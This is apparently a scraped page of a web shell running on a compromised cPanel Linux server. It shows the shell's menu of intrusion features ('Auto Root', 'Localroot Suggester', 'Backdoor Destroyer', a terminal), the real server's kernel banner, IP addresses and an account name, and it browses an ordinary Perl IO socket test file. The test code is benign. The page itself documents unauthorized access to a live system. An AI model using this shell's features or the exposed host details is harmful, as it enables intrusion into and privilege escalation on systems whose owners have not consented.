Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
IO /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
IO.t
2.59
KB
-r--r--r--
2014-12-27 11:48
cachepropagate-tcp.t
1.3
KB
-r--r--r--
2014-12-27 11:48
cachepropagate-udp.t
1.14
KB
-r--r--r--
2014-12-27 11:48
cachepropagate-unix.t
2.87
KB
-r--r--r--
2014-12-27 11:48
io_const.t
577
B
-r--r--r--
2014-12-27 11:48
io_dir.t
1.42
KB
-r--r--r--
2014-12-27 11:48
io_dup.t
1.17
KB
-r--r--r--
2014-12-27 11:48
io_file.t
1.33
KB
-r--r--r--
2014-12-27 11:48
io_file_export.t
517
B
-r--r--r--
2014-12-27 11:48
io_linenum.t
1.26
KB
-r--r--r--
2014-12-27 11:49
io_multihomed.t
2.2
KB
-r--r--r--
2014-12-27 11:48
io_pipe.t
2.54
KB
-r--r--r--
2014-12-27 11:48
io_poll.t
1.36
KB
-r--r--r--
2014-12-27 11:48
io_sel.t
3.21
KB
-r--r--r--
2014-12-27 11:48
io_sock.t
8.78
KB
-r--r--r--
2014-12-27 11:48
io_taint.t
1.29
KB
-r--r--r--
2014-12-27 11:49
io_tell.t
1.36
KB
-r--r--r--
2014-12-27 11:48
io_udp.t
1.99
KB
-r--r--r--
2014-12-27 11:48
io_unix.t
2.41
KB
-r--r--r--
2014-12-27 11:48
io_utf8.t
833
B
-r--r--r--
2014-12-27 11:48
io_utf8argv.t
939
B
-r--r--r--
2014-12-27 11:48
io_xs.t
1.29
KB
-r--r--r--
2014-12-27 12:38
Save
Rename
#!/usr/bin/perl use warnings; use strict; use File::Temp qw(tempdir); use File::Spec::Functions; use IO::Socket; use IO::Socket::UNIX; use Socket; use Config; use Test::More; plan skip_all => "UNIX domain sockets not implemented on $^O" if ($^O =~ m/^(?:qnx|nto|vos|MSWin32|VMS)$/); plan tests => 15; my $socketpath = catfile(tempdir( CLEANUP => 1 ), 'testsock'); # start testing stream sockets: my $listener = IO::Socket::UNIX->new(Type => SOCK_STREAM, Listen => 1, Local => $socketpath); ok(defined($listener), 'stream socket created'); my $p = $listener->protocol(); ok(defined($p), 'protocol defined'); my $d = $listener->sockdomain(); ok(defined($d), 'domain defined'); my $s = $listener->socktype(); ok(defined($s), 'type defined'); SKIP: { skip "fork not available", 4 unless $Config{d_fork} || $Config{d_pseudofork}; my $cpid = fork(); if (0 == $cpid) { # the child: sleep(1); my $connector = IO::Socket::UNIX->new(Peer => $socketpath); exit(0); } else { ok(defined($cpid), 'spawned a child'); } my $new = $listener->accept(); is($new->sockdomain(), $d, 'domain match'); SKIP: { skip "no Socket::SO_PROTOCOL", 1 if !defined(eval { Socket::SO_PROTOCOL }); skip "SO_PROTOCOL defined but not implemented", 1 if !defined $new->sockopt(Socket::SO_PROTOCOL); is($new->protocol(), $p, 'protocol match'); } SKIP: { skip "no Socket::SO_TYPE", 1 if !defined(eval { Socket::SO_TYPE }); skip "SO_TYPE defined but not implemented", 1 if !defined $new->sockopt(Socket::SO_TYPE); is($new->socktype(), $s, 'type match'); } unlink($socketpath); wait(); } undef $TODO; SKIP: { skip "datagram unix sockets not supported on $^O", 7 if $^O eq "haiku"; # now test datagram sockets: $listener = IO::Socket::UNIX->new(Type => SOCK_DGRAM, Local => $socketpath); ok(defined($listener), 'datagram socket created'); $p = $listener->protocol(); ok(defined($p), 'protocol defined'); $d = $listener->sockdomain(); ok(defined($d), 'domain defined'); $s = $listener->socktype(); ok(defined($s), 'type defined'); my $new = IO::Socket::UNIX->new_from_fd($listener->fileno(), 'r+'); is($new->sockdomain(), $d, 'domain match'); SKIP: { skip "no Socket::SO_PROTOCOL", 1 if !defined(eval { Socket::SO_PROTOCOL }); skip "SO_PROTOCOL defined but not implemented", 1 if !defined $new->sockopt(Socket::SO_PROTOCOL); is($new->protocol(), $p, 'protocol match'); } SKIP: { skip "AIX: getsockopt(SO_TYPE) is badly broken on UDP/UNIX sockets", 1 if $^O eq "aix"; skip "no Socket::SO_TYPE", 1 if !defined(eval { Socket::SO_TYPE }); skip "SO_TYPE defined but not implemented", 1 if !defined $new->sockopt(Socket::SO_TYPE); is($new->socktype(), $s, 'type match'); } } unlink($socketpath);